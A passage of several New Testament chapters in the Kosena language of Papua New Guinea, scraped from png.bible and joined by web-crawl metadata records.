súrandeiya ímo awánáúndaya Áánútumo máyáintemba Ísu Káráísiti máyáiwaintaamo awánáúndayaamo mindá Áánútunta kwéawanaundayaawe. Áánútu kwíyómba maramá íma tarórurainka'a Ísu Káráísiti ména tarórurain-tantaakomba amápa'a usáyaaitaraiye. 16 Áánútu súwana Ísu Káráísiti amápa-tantaa'a tarórurena kwíyómpa'o kwáyáin-tantaare marapá'ó kwáyáin-tantaare awánáúnda-yantaare ímo awánáúnda-yantaare kwíyómpa'o kárákwiraawaiye asirayánkwáráwáíyé anómbo máyáawaiye mirán-tántáá'á amápa'a taróruraiye. ááninko áwí'a mósá maránááontavena Áánútu súwana ááninko mirán-tántáá'á amápa'a taróruraiye. 17 amápa-tantaa'a íma kwáyáinka'a ááninko máyáísana amápa-tantaa'o taróruraimba kwená asirayándéí tátokaisana kwenamááramaa'a kwáyáiye. 18 a'nómpínkén-ímáyááó amápa-kura'o kárákwiraintemba Áánútuna kwaási Káráísitin-áúraamba owaná kwemá ti'nónkáámbá éna kárákwiraiye. kwemá aivarí'a éna amáparawai usáyaaitanintavena kwená kwaásira'a kárákwiraiwai póna kwená kwaási aúnái'a umái máyáawaina ááimba póna Áánútu pukáimpinkemba usásinankaraiye. mindáyavena kwemá tarórurain-tantaakomba amápa'a usáyaaitaraiye. 19 Áánútuna imáyáavinkemba kwená asirayámbá amápa'a Ísu Káráísitimpimba kwáyáísana 20 Áánútu imáyáa éna séna kesááninko taaira'á puwínana kwená naaemá kumínímba pó'a amáparawai paru umátínkáanasa kwíyómpaken-tantaare marapákén-tántááré simái tarútinkaanasa kesópa'a paru umái ménaaowe séna sáwí-imayaaomo tátokaimpinkenta iyásínkaraiye.\n21 Áánútu mináímbá keinárawatavenagwara'a siráiye. ááéma sáwí'a é'a sáwí-imayaa kwée'a pó'a Áánútuna némpa'a mé'a kwená namuro-kwáásíráámbá umái máyómbanivo 22 ááninko marapá'á kumbéna pukáimba póna mindáyavena simái tarútinkena Áánútundei-i'a umátínkarainana sáwí-aimba kempímbá íma kwáyainana aaivimbó maitinkánín-aimba íma kwáyainana Áánútunopa'a mótinkanintavena pukáiye. 23 ááninko mirá uráivo aiva'á Ísu Káráísitin-aai áséi-kwasai ísaraanka'a áraire sé'a kwenká'á agevamái mé'a Áánútumo to'mayaa úmakaimba imáyáa é'a amu'maré'a máyáamba póna mináímbó asiramáímo imáyáamo úmae iyé'o ímo kaer-ímáyáámó é'o kwenká'ó agevamáímo ménaaombo éna Áánútu ááninko keinárawa'a Áánútunopa'a mótinkainana kempímbá sáwí-aimba íma kwáyainana aaivimbó maitinkánín-aimba íma kwéniye.\nÍsóigona kwaási túwa'naa uráin-kwasai.\nkemá Póro mináséí-kwásáígóna mayáí-kwáásí únasa amápa'-marava'a simátíma'maesa kóyáwé kwéowe. 24 kwétuwa'naa-unda sí'a iní'a kwéumasinkaambanivo sirunkó kawe'á kwéiye. Ísu Káráísiti kentávéna séna kesí kwaási kesúwawaakaamba umái máyáan-kwaasi kwétuwa'naa-indara'a áí'a índai'a umánkanaaowe siráinka'a minúmbáí-yántáá'á kesópa'a tiráisa'a mimbáyáí kwémayaundanivo kwétuwa'naa-unda sí'a iní'a kwéumasinkaamba sirunkó kawe'á kwéiye. 25 Áánútuna kwaásira'a mayáí maé'a kwenáái amápa'a simátíma'mae iyé'a kawe'á umátinke'a túwa'naa ónaundayavena Áánútu usásisinkaraiye. 26 ááéma Áánútu mináímbá aúpá'á makáimba ááémo paáruron-kwaasiye minká'ó paáruraan-kwaasiye íma ísaraawana ívé'a Áánútu kwená kwaási kwéagaraatinkaiye. 27 Áánútu to'mayaa umái aúpá'á makáimba imáyáa éna séna amápa-kwaasiyave'a ó'oran-kawe-tantaa'a to'mayaa úmakaunda agaráátinkanaumne siráiye. to'mayaa umái aúpá'ó makáimba maarán-iye. Káráísiti kempímbá máyáimba pó'a kwesé ó'ora-sagayan-ayampa'a ménaaowe. Áánútu mirán-áímbá isáígwáe séna ívé'a kwená kwaásiya kwésimasimintaawe. 28 mindáyaveta amáparawaiya Ísu Káráísitin-aaiya kwésimatimune. amáparawai Ísu Káráísitiye tarúmaimo mésa táákaevayan-kwaasiraamba umái mésa Áánútun-aaiyavesa asiramái imáyáa kwéesa ménaaontaveta Áánútumo símakain-kawer-imayaanei simátíma'maeta kwéiyeta séta kárákwiyoro kwésune. 29 mimbáyáí áúgwara'-mayai kwénintave'a siyáántán-kwimai kwémayaumne. Ísu Káráísiti ó'oran-asirayamba kwésimisana minásíráyánkó kawe'á umásínkáisa'a siyáántán-kwimai mimbáyáí kwémayaumne.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/png.bible\/kze\/COL01.htm","date":"2022-12-01T11:29:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710808.72\/warc\/CC-MAIN-20221201085558-20221201115558-00139.warc.gz","language":"kze","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.0000089406967163}","num_words":693,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.232,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Évésasi\nÍsu kwíyómpa'a irówana Póro moórá-kwaai aíyayaan-umai sísamaivakemba kaer-íyá'iyo. miráumai-ima maisuwéna maanáímbá agaimái Évésasi-naoraa-kwaasi Ísuna aampa'ó kwégun-kwaasitopa'a agaimái tuwówana Titikása maimaéna mátímakaiye. maanáímbá isésa ó'on-o'on-daoraa tíméro séna agairáiye. Ísun-aai simátíma'mae iyúnkakemba Árómáa-naopa'a ándáva'a ánkarowana ména maanáímbá agaimarówana mátímakaiye.\n1\n1 kemá Póro maanáúváí agaimaráúmpo ísáaro. Áánútu kwená imáyáavinkemba kentávéna séna aantá-kwaasi-i'a éma Ísu Káráísitin-aai kosimátíma'mae naauwó séna si'mákaivo ísáaro. Évésasi-naopakewai Ísóigona kwaási Ísu Káráísitiye tarúmai máyáawai íma ivátuwe'a asiramái máyáawai ísáaro. 2 Áánútu kentáásivowe Ísóigo Ísu Káráísitiye úwoi túwa'naa esarai paru kwéumatinkaayantave'a námúnaa kwésune.\nKáráísitinte tarúsinkenaya ításinkarain-kwasai.\n3 Áánútuma Ísu Káráísiti avowámá éna Ísu Káráísitinteya tarúsinkenaya kwíyómpa'a kwenópakemba asirayámbá siménaya kawe'á kwéumasinkaisata póta kwentávéta súwi kwésune. 4 naaóvá'á Áánútu maramá íma tarórurainka'a Ísu Káráísitiyeya tarúmaiya ménaundayavenaya kwenaúranka'a kwendéí-í'a onanayá kentáávímbá íma sáwí-aimba kwénintavena ítámakaiye 5 Áánútu kentááyávéna imáyáa éna naaóvá'á séna Ísu Káráísitina mayáíyávé'o é'a kesáánimbaa kesiyáámúmbaari'a ónááowe séna kwená imáyáavinkemba aamoí éna mirán-áímbá siráimba póna mirá uráiye. 6 ááninkomba arumbá ámakaiwainte tarúsinkenaya anón-kawe'a umásinkenaya úwoi súwa'naa umásinkaraimba póta kwená ááimba ó'oran-aaimba mósá kwémaraumne.\n7-8 pukáintavena sáwí-imayaaya maisiyuwénaya misáwí-ímáyááó tátokainta iyásinkenaya kentááyávéna ó'oran-imayaa kwéimba úwoi ávááraumai súwa'naa enaya póna kentáásí sáwí-imayaa maisíyukaiye. 9 naaóvá'á kwená kawer-ímáyáávínkémbá aúpá'á to'mayaa úmakaimba ívé'a kwévaarisata kwéawanaumne. Káráísiti kesí imáyáa íníye siráintemba póna 10 Áánútumo siráin-kanaamo tínímba amápa-tantaa'o taróruraimba kwíyómpakene marapákéne komaéyamae úmarainana Káráísiti anóndako mindára'a kárákwiyiniye.\n11 Áánútu kwená imáyáavinkemba to'mayaa úmakaimpinkemba mirá kwéiye. imáyáa éna to'mayaa úmakaimba póna Yútaa-kwaasi kwená kwaási-i'a úndayavenaya Káráísitinte tarúsinkenaya ításinkaraintaawe. 12 aiva'á Káráísitimba amu'maréta máyaundawai kwená ááimba ó'oran-aaimba isatá mósá kwémaraumne.\n13 miráumai ó'onkaa-kwaasi árair-aimba kawer-ámpá'á métinkaniye mináséí-áímbá isé'a Ísu Káráísitin-aaiyave'a áraire sé'a kwesé tarúmai máyáamba Áánútu kesimambá timénaumne simái asirámakaintemba mirá uráimba pó'a kwená kwaási-i'a umái mé'a ísaraawe. 14 Áánútun-amanko keséya máyáintaveta séta árai'a Áánútu kwená kwaásiyavena simái asirámakainta kesópata tíníye. árai'a Áánútu kwená kwaásiya tátokaampinkemba iyásinkanintaawe kwéseta mindáyaveta kwená ááimba ó'oran-aaimba mósá kwémaraumne.\n15 agairáúnda árair-aimba pó'a keinárawa'a Ísóigo Ísuwe aráápamai mé'a Áánútuna kwaásiti imáyáa é'a máyáawe-aimba isé'a 16 Áánútumpa'a súwi símae iyé'a keinárawa'a túwa'naa umai námúnaa súnda 17 Áánútumpa'a maarán-áíntávé'a áísaa une. Ísóigo Ísu Káráísiti avowámá kentáásivowama ó'oran-aaimba kwáyáiwai kwemá kwenamambá timínana kentí imáyáa kawe'á umátinkena Áánútumba agaráátinkaina'a pó'a kawe'á umái awánanaaowe. 18 kentí imáyáa ságamatinkena tááyaraintave'a kwesémo ménaaombo amu'maré'o máyáantave'a mindáyave'a námúnaa kwésune. kwemá kwená kwaási kawe'ó umáímo ménaaomba to'mayaa úmarena simái asirámakaimba awánanaaontave'a námúnaa kwésune. 19-20 kwenááiyaveta áraire kwésundawaivinta kwená asirayánkó mayáímá kwémayaimba minásíráyámbá usáyaaitarain-asirayanko isa'á awánanaaontave'a námúnaa kwésune. Áánútu minásíráyándéí Káráísitimba pukáimpinkemba usásinankena kwenayáánúrapa'a asirayán-áyámpá'á kwíyómpa'a móankaraiye. minásíráyámbá kwenááiyaveta áraire kwésundawaimba símakain-asirayamba mimbórá-ásíráyámbán-iye. 21 Káráísiti amáparawaira'a kárákwirena kwíyómpa'o kárákwiraawairare asirayánkwáráwáíráré aivaráwáíráré ívé'o túwí'o kwáyáiwairare naaémbo túwí'o kwéniwairare kárákwiraiye. 22 Áánútu amáparawaira'a kárákwiyinintavena kwembá usásinankena kwená kwaásiyavena imáyáa éna simámena séna usáyaaitayan-Isoigoi'a uréma amáparawaira'a kárákwiyuwo siráiye. 23 a'nómpínkén-ímáyááómó amápa-kura'o kárákwiraintemba Áánútuna kwaásiya Káráísitina áúraamba únanaya kwemá si'nónkáámbá éna kárákwiraiye. a'nónkó kweyáára'a íma máyáísana áúwawaako íma mirá éna mimbórá-kúwawaa'o kwáyáintemba Káráísiti amápa-kuwawaa'a aaómísamai-i'a umásinkena kwegwárá'á aaómísamai-i'a umái máyáiye.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/png.bible\/kze\/EPH01.htm","date":"2022-12-02T02:28:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710890.97\/warc\/CC-MAIN-20221202014312-20221202044312-00648.warc.gz","language":"kze","language_score":1.0000065565,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 1.0000065565109253}","num_words":442,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.204,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Tésárónaika\nÍsu kwíyómpa'a irówana Póro moórá-kwaai aíyayaan-iya'iyo. miráumai-ima maisuwéna maanáímbá agaimái Tésárónaikaa-naoraa-kwaasi Ísuna aampa'ó kwégun-kwaasitopa'a agaimái tuwówana moóráwai mátímakaiye.\n1\n1 kemá Póro maanáímbá maanáúváívímbá agaimaráúmpo ísáaro. moóráwai áwí'a Sáírásiye moóráwai áwí'a Tímótiye kesé máyaayanka'a moórá-kwasai sénaumpo ísáaro. Tésárónaikaa-naopakewaima Ísóigona kwaási ísáaro. Áánútu kentáásivoe tarúmai Ísóigo Ísu Káráísitiye tarúmai máyáawaima ísáaro. 2 Áánútu kentáásivowawe Ísóigo Ísu Káráísitiye úwoi kwétuwa'naa-esarai paru kwéumatinkaayantave'a námúnaa kwésune.\n3 kentáásí kwaásiyono. ááéma Áánútun-aaiyave'a áraire sé'a kwenká'á agevamái mé'a ívé'a asiramái Áánútuwe aráápamai máyáawe. ááéma moórá-morawaivimba kentirumbá tímakaamba isa'á ívé'a kentirumbá tíma'mae kwégowe. mirámó kwéomba mindáyaveta Áánútumpa'a súwi símae kwéiyeta námúnaaya kwésundaya kawetá kwéune. 4 Ísu Káráísitina kwaási ontávésa sáwí'a umátinkesa tí'a iní'a kwéumatinkaamba Áánútunka'a agevamái mé'a íma auwé'a kwentávé'a ísámai asiramái máyáamba póta Áánútuna kwaási moórá-mora-naopimpa'a máyáanta simátimeta kentúwí'a mósá makáumne.\n5 miráumai asiramái máyáamba pósa tí'a iní'a kwéumatinkaamba iséta séta Áánútu arupí-meyamba timínímba póna kawe'náráwari'a kwéumatinkena kwégaragwiyiye kwésune. 6 Áánútu arupí umái máyáiwai sáwí'o kwéumatinkaawai sáwí-meyamba tiména 7 kentí umbai-yántááré kentáásí umbai-yántááré ánásasiyuwanintaawe. Ísóigo Ísu kwíyómpakemba kumíndara'a kwená asirayán-kwáyó'nárawakwara'a iraráámbá kúra'mae kumíndara'a kentí umbai-yántááré kentáásí umbai-yántááré Áánútu ánásasiyuwena 8 Áánútumpa'o ímo tésamo nénka'o máyáawai sáwí-meyamba tiména Ísóigo Ísuna áséi-kwasai ímo taagwiyavíyawai sáwí-meyamba timíníye. 9 miwítí sáwí-meyamba maarán-iye. sáwí-meyambo kwaíkwai'o ínín-ayampa'a aasiyaasí maí'mai'a íyana Ísóigo aambá ítáyuwainasa kwenópa'a íma iyésa kwená ó'oran-asirayamba íma awánanaaowe. 10 mitáwai kumíndara'a kwená kwaási kwenááiyavesa áraire sésa kwenká'á agevamái máyáawai kwenáwí'a anómba umánkesa áwí'a mósá marésa aamoí ónááowe. Ísun-aai simátimewanata keinárawakwara'a áraire sé'a kwenká'á agevamái máyáamba pó'a mirá ónááowe.\n11 mindáyaveta keinárawa'a túwa'naa eta maarán-áímbá námúnaa símae kwéiyune. Áánútu kwená kwaási-i'a umátinkaindayavena tááyena kawe'náráwari'a umátinkanintaveta námúnaaya kwésune. Áánútu asirayámbá timína'a kentí imáyáavinkemba kawe'-máyáí maimaé iyónááontaveta námúnaaya kwésune. Áánútu asirayámbá timína'a kwenká'á agevé'a asiramái ménaaomba pó'a kawe'-máyáí mayánááontaveta námúnaaya kwésundaya pó'a 12 keinárawapimba Ísóigo Ísu áwí'a anómba íyana Ísu kwená kwaási-i'a kwéontavena kentúwí'a maimaé iyíníye. kentáásí Áánútuwe Ísóigo Ísuwe úwoi túwa'naa úyamba pó'a Ísóigo Ísu áwí'a mósá maránááontaveta námúnaaya kwésune.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/png.bible\/kze\/2TH01.htm","date":"2022-11-29T08:28:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710690.85\/warc\/CC-MAIN-20221129064123-20221129094123-00305.warc.gz","language":"kze","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 1.0000091791152954}","num_words":296,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.176,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\nKáráísiti Áánútu aísamaivimba máyowana áwí'a anómba umánkarain-kwasai.\n1 Ísu Káráísitiyemo tarúmaimo máyáamba kwemá kwétiravayaiye. Áánútumo kwenarumbó tímakaimba asirayámbá tímakaiye. Áánútun-amankomo arumbó tímakaimba moórávimba máyáawe. tirumbá umátínkáva'a kwénaae'a túwa'naa umai máyáawe. mirámó íya'o é'a 2 mimbórá-ímáyáá umái mé'a moórá-tirumba ma'mái mé'a kentirumbó tíma'mae'o naaíyamba sirunkó anón-kawe'a íníye. 3 mayáímó kwémayaamba íma kentúma maé iyé'a kesúwí'a maimaé iyígwáe íma sé'a Áánútu aísamaivimba mé'a ó'owiyave'a sé'a kentáá usáyaaitaraawe seró. 4 íma kesáváíyé su'mai túwa'naa e'a amáparawai túwa'naa oro. 5 Ísu Káráísitimo imáyáamo intembá maarán-ímáyáá oro.\n6 Ísu Káráísiti Áánúturaamba umái ména kwená asirayánkómó intembá umái ména minásíráyámbá íma tokéna 7 ivátuwena umarankáání'a mórun-úwana moórá-ininko marankówana anón-éna kwayó-kwáásíráámbá umái ména 8 kwaásiraamba umái máyowasa awánowana Áánútu aísamaivimba kumbéna puwínín-aintavena owé simái kató éna íma úwoi pukáivo sáwí'a ésa taaira'á inkamúwana pukáiye. 9 mirá uráintavena Áánútu pukáimpinkemba usásinankena sanaan-úramba móankena amáparawai túwíka'a kwenáwí'a anómba umánkowasa 10 pósa Ísu áwí'o tánááombo ésa anómban-iye sésa amáparawai kívaesa kwíyómpakewaiye marapákéwáíyé kwaántái marupákéwáíyé kívairesa 11 avora'á Ísu Káráísitintavesa sésa Ísóigoman-iye sésa Áánútumba kentáásivowa áwí'a mósá maránááowe.\nkwaásivimba sáma kamátinke'a máéro siráin-kwasai.\n12 mindáyave'a kesí kwaásiyo ísáaro. keinárawate máyaawandara'a kesáái ísámae iráantemba ívé'a íma keinárawate máyaundara'a kesáái isé'a Áánútumo sáwí-imayaao tátokaimpinkemba iyátinkena kawer-ámpá'ó métinkarain-aimba imáyáa é'a kwentávé'a kwée'a kwenáái tuwáúnavo sé'a táátave'a kwée'a asiramái kwená mayáí máyáaro. 13 Áánútu aamoimó kwéim-bayai mayánáe sé'a kwéontavena kentirumpimbá mayáí maimaé kwéiyisa'a pó'a táátave'a kwée'a kawer-ámpá'á kwa'maé kwégowe.\n14 íma í'ái tinké'a íma aaisambá tiyé'a miráumai máéro. 15 mirámó é'a kawer-úramba umái máíyana póna kentí sáwí-meyamba íma kwéniye. marapá'ó sáwí-ambo kwarésamo kae'náé'o úmae nááón-kwaasivimba keinárawa'a Áánútuna kwaási mé'a sáwí-imayaa kempímbá íma kwáyaina'a pó'a sáma kamátinke'a 16 maí'mai'o ónááon-aimba kentirumpimbá asiramái tátokaiya'a pó'a Ísu Káráísiti kumíndara'a aamoí é'a sé'a komáyaawanda pó'a maí'mai'o ónááon-aimba tirumpimbá asiramái tátoraamba pó'a sé'a íma úwoisan-tantaatave'a mayáí kwémae'a méraumne sénaumne.\n17 Áánútuna aamoi-yántáá'ó áménteni'a umái kwenká'á agevamái máyáawe. Áánútuntavesamo imáyáaamo ésamo ándá-aran-dombo átímaraanteni'a umái kembó sínkamiyanamo kesí naaemó kumína'o púwónanamo éna ándá-aran-donkaamba kumíníye. mirámó ondamó éna kesirunkó kawe'á ínímba póna kentirunkógwárá'á kawe'á íníye. 18 miráumai kesirunkómó kawe'ó índantemba kentirunkógwárá'á miráumai kawe'á íníye.\nTímótiye Épavarotaitasi miwítí kwaasái.\n19 sáwíyanka'a Tímótimba ai'máráanana kentópa'a kwíníntave'a Ísu Káráísitimpa'a námúnaavinkemba kwéaisaa-unda póna kentópa'a kuréna koyauweréna kesópa'a téna kentáái másimasimina'a isé'a aamoí ónaumne. 20 kwesé keiráíyé su'mai keinárawatavekai anón-imayaa ékai sékai kawerá umái máya. sáwíra umái máyaao kwésuvo 21 évakarawai kesáváí-ímáyááwé su'mai ésa Ísu Káráísitina imáyáa íma kwéowe. 22 ánivo ááninkomo avowáná mayáímó áwa'naa intembá áséi-kwasaiyavena Tímóti kembá kwésuwa'naa in-áímbá ísaraawe. 23 kesópa'o tínín-tantaa'a amu'ma'mái awáné'a Tímótimba ai'máráanana kentópa'a kwína'a 24 kemá sáwíyanka'a kentópa'a kónaundayave'a Ísóigompa'a kwéaisaa-e'a kwéamu'maraumne.\n25 imáyáa é'a kesí kwaásigo áwí'a Épavarotaitasi ai'máráanana kentópa'a kwíníye. mirá ónaumne kwésune. ai'márówana kesópa'a téna kentáái másimasimena kesí umbai-máyáí tagwésuwa'naa-ena kesé asirayám-báyáí kwémayaisana 26 áí'a isa'á kwenáái ísáawana kwemá iséna anón-imayaa éna sí'o imbá asóvamasinkain-aimba kosimátimenae simbá pó'a ai'máráanana kwíníye. 27 árai'a áí'a isaná puwíndayavena kwéisana Áánútu arumbá umánkena asóvamankaraiye. umbai-yántáá'á kempímbá kwáyáinka'a póna puwínana ó'on-umbai-yantaa'a tivó séna Áánútu arumbá umásinkena asóvamankaraiye. 28 mindáyave'a ai'máráandayave'a aamoí únana kentópa'a kwína'a awáné'a aamoí íya'a íma anón-imayaa ónaumne. 29 kentópa'a kwína'a awáné'a aamoí umánke'a Ísóigompa'a súwi síyana tirunkó anón-kawe'a íníye. mirán-kwáásí táái mósá máráaro. 30 íma kanaán-umai tasúwa'naa ontávéna kentí anondá kwemá téna kovuwúnavo íma simbá úwoi tasúwa'naa ena Ísu Káráísitina mayáí kwémayaimba puwíndayavena uráivo kwembá awáné'a kwenáái mósá máráaro.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/png.bible\/kze\/PHP02.htm","date":"2023-01-29T13:42:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499713.50\/warc\/CC-MAIN-20230129112153-20230129142153-00260.warc.gz","language":"kze","language_score":1.000005722,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.0000057220458984}","num_words":499,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.18,"stopwords_ratio":0.184,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\n1 Yútiyaa-maravaken-kawaanako áwí'a Éróti máyon-kanaavimba Pétáremu-naopa'a Máríyaa Ísumba maránkarowasa némpakemba aaváúmó usópaken-kwaasi kawer-ímáyáágwárá-kwáásí teémesa Yérúsaremu-naopa'a tésa 2 sésa Yútaa-kwaasira'a kárákwiyinine sénamo maránkáín-iyampoi náávara ánkaraao. aaváúmó usaipá'á méta awánáúndaya moórá-o'a paárisata awánéta séta iyámpói maránkaraimba póta awánéta kwenáwí'a mósá maránáe séta teémeta túne siráawe.\n3 suwaná marará-káwáánákó Éróti mináímbá isówana arunkó sáwí'a úwasa Yérúsaremu-naopakewaigwara'a ísówana tirunkó sáwí'a úwana 4 Éróti mono-káwáá-kwáásíyé ámáámba sun-kwáásíyé tááyowasa torupamái máyówana séna Áánútu ai'maráníwaimba Káráísitimba marankánímba náávara ankáníyo súwasa 5 sésa Yútiyaa-marava'a Pétáremu-naopa'a ankáníye. Áánútun-aai simátímakowai agaimaréna séna\n6 Yútiyaa-marava'a Pétáremu-naopaken-kwaasiyono. Yútiyaa-marava'a kárákwiraawaivimba kentí naaópa'o kárákwiraawai íma tínaaempa'a máyáawe. kentí naaópakemba moóráwai paárurena kesí kwaási Ísareri-kwaasira'a kawe'á umái kárákwiyiniye\nagaimaréna siráiye suwaná 7 Éróti iséna aaváúmó usópaken-kwaasi aúpá'á tááyowasa tuwaná tísaa ena séna nósa-tawai minó'á paárisara awánaraao súwasa simámúwana 8 Éróti séna Pétáremuva'a miníyámpóí koavakáá-umai awáné'a tasimásimiya'a kesé kuré'a kwenáwí'a mósá máráano súwasa 9 isésa kumbá aaváúmó usópa'o mésamo awánaraan-o'a awánowana minókómá aiva'á kwégwena miníyámpóímó máyonka'a kogwaúwasa 10 ávááraumai aamoí ésa 11 mindáúmpá'á iyésa anówante miníyámpóíyé tuwánésa kívairesa miníyámpóígó áwí'a mósá marésa unáámbá óin-tokésa kawe-tántáá'á kóri-ontamba óimai amésa kawer-úmúmbó ií-yántáá'á óimai amésa áséi-kwiyum-basawenkwara'a óimai ámakaawe.\n12 ámatuwesa tuún-kwáúwana Áánútu kaainampá'á simátimena séna Érótimba íma kosimáméro súwasa ó'on-ampakemba kentí naaópa'a kóuraawe.\nÍsumba áí'maesarai Ísípiva'a kurááyan-kwasai.\n13 kóúwana kwíyómpakemba Ísóigona kwayó'nákómbá Yósépi kaainampá'á awánówana séna Éróti miníyámpóí tuvuwíndayavena kwéavakaa-ivo usásine anówante miníyámpóíyé tí'mae Ísípi-marava'a koména'a aáno simámé'a áí'mae tiyó sénaumne súwana 14 mindó'wáámbá usásinena anówante miníyámpóíyé tí'maena Ísípi-marava'a kwémena 15 mivá'á komáyowana Éróti pukáiye. naaóvá'á Áánútun-aai simátímakowai sirónka'a póna mirá uráiye. kwemá agaimaréna séna Ísóigo séna\nÍsípi-maravakemba kesáánimba máyaina'a\nááyaanana koyauweráníye\nsiráiye agaimaréna sirónka'a póna mirá uráiye.\niyámpói tínkankaan-kwasai.\n16 Éróti awánómba aaváúmó usópaken-kwaasi kampa'á simáuwesa kóúwana Éróti arunkó áyámba úwana aaváúmó usópaken-kwaasi simámakon-aintavaiye o'á paáruraiyemo sirón-aintavaiye imáyáa éna évakarawai ti'maréna séna Pétáremu-naor-ayampa'-naopimpa'a kaer-ímó ten-íyámpóíyé ímo kaer-ímó tarén-iyampoiye tivakáá-umai tínkantuwaaro súwasa mirá uráawe.\n17 naaóvá'á Áánútun-aai simátímakowai áwí'a Yérémaya sirónka'a póna mirá uráiye. kwemá agaimaréna séna\n18 Áráma-kwaasi ávááraumaimo ivi'ó taráamba ísaraawe. Áréseo aísaavutantamba uráan-kwaasi miwítí iyámpóíyavesa ivi'á taawasá iyámpóímo pukáantavesa timambá aráápamai tínkaraawasa úwoi ivi'á támae iráawe\nagaimaréna siráiye.\nÍsípivakemba tiráin-kwasai.\n19 Éróti puwúmba Yósépi Ísípi-marava'a ména kwíyómpakemba Ísóigona kwayó'nákómbá kaainampá'á awánówana séna 20 miníyámpóígómbá tuvuwónáe sen-kwáásí á'a púwóvo usásine anówante miníyámpóíyé tí'mae Ísareri-marava'a kwaaó súwana 21 usásinena awainínkónte ááninkonte tí'maena Ísareri-marava'a kúmba 22 Éróti ááninko áwí'a Ákéreasi kwemá avowáná anondá Yútiyaa-ayampa'a kawáá-máyáí kwémayowana Yósépi iséna mináyámpá'ó koménintavena inkaisúwana kaainampá'á Áánútu simámuwana Káríri-ayampa'a 23 Násáreti-naopa'a tí'maena koméraiye. naaóvá'á Áánútun-aai simátímakowai sirónka'a póna mirá uráiye. kwemá Ísuntavena séna\nNásáretivaken-kwaasiye sénááowe\nagaimaréna sirónka'a póna mirá uráiye.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/png.bible\/kze\/MAT02.htm","date":"2023-01-30T01:08:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499790.41\/warc\/CC-MAIN-20230130003215-20230130033215-00124.warc.gz","language":"kze","language_score":0.9996316433,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9996316432952881}","num_words":384,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.135,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\n1 maanáímbó simátíménda ísáaro. keinárawate Áréótísiyaa-naopakewaiye kembó ímo suwánaraawaiye anón-imayaa é'a námúnaa sé'a kawerá umáíya máyaao-imayaa kwée'a anóm-bayairaamba umái kwémae'a 2 keinárawate miwísé asiramái ménaaontavena sirááíma kwétaiye. moórá-morawaivimba kentirumbá kwétime'a mimbórá-ímáyáá kwée'a Áánútun-aai ísámai kawe'á é'a íma kaer-ímáyáá é'a asiramái ménaaontavena sirááíma kwétaiye. Áánútumo aúpá'ó makénamo agaráátínkaraimba mináínkóná ááimba ísu Káráísitima isaná mináínkómbó kawe'ó umáímo isánááontavena sirááíma kwétaiye. 3 Áánútuna kawer-ímáyááwé kawer-áíné Káráísitimpimba kwáyáimba Káráísiti kweyáá imáyáaya símísata kwéisaumne. mináímbá isánááontave'a kwésimatimune.\nÍsóigoemo tayarúmaimo mé'a maí'mai'a úmae íyóro-kwasai.\n4 évakarawai kampar-áímbá kentirumbá airaráíya'a kawer-áímbán-iye sé'a kwáráavo sé'a mináímbá kwésimatimune. 5 keinárawate íma mé'a ándáva'a némpa'a máyaundanivo keinárawatave'a imáyáa kwéune. Ísu Káráísitin-aaiyave'o asiramáímo imáyáamo kwée'o mimbórá-ímáyáámó kwée'o máyáantave'a keinárawatave'a imáyáa kwéunana sirunkó kawe'á kwéiye.\n6 mináímbá isánááontave'a anóm-bayai mairáunda pó'a Ísu Káráisitiye tamé'a sé'a kentáásí Ísóigoman-iye kwésemba pó'a kwesé tayarúmaimo mé'a maí'mai'a úmae íyóro. 7 taaigó ánú'o maravímbó kuménamo taaimó tátoraisanamo asiramáímo kwáyáintemba Ísu Káráísiti keinárawate máyaina'a asiramái mé'a kwenááiyave'a áraire símae iyíyana kentirumpimbá anómba íníye. moóráwai áwí'a Épávarasi Ísu Káráísitin-aai simátimuwa'a isé'a asirayán-ímáyáá kwée'a aamoí úmae íyóro.\n8 évakarawai kampar-áímbá simátimesa ááéraan-kwaasiti aambá kwarésa kwaántá-kwaasiti aambá kwarésa íma Ísu Káráísitin-aaivinkemban-ivo kwaásiti imáyáavinkemba úwoi-aimba pósa kampa'á simátiyuwesa tátoraavo kárákwiyoro. 9 Áánútuna asirayámbá amápa'a Káráísitimpimba kwáyáísana kwaási kunaúkáisa'a 10 kwesé tarúmai máyáawana asirayámbá tímísa'a minásíráyánkwárá'á kasenkuí'a umái máyáawe. kwemá kárákwiraawairare 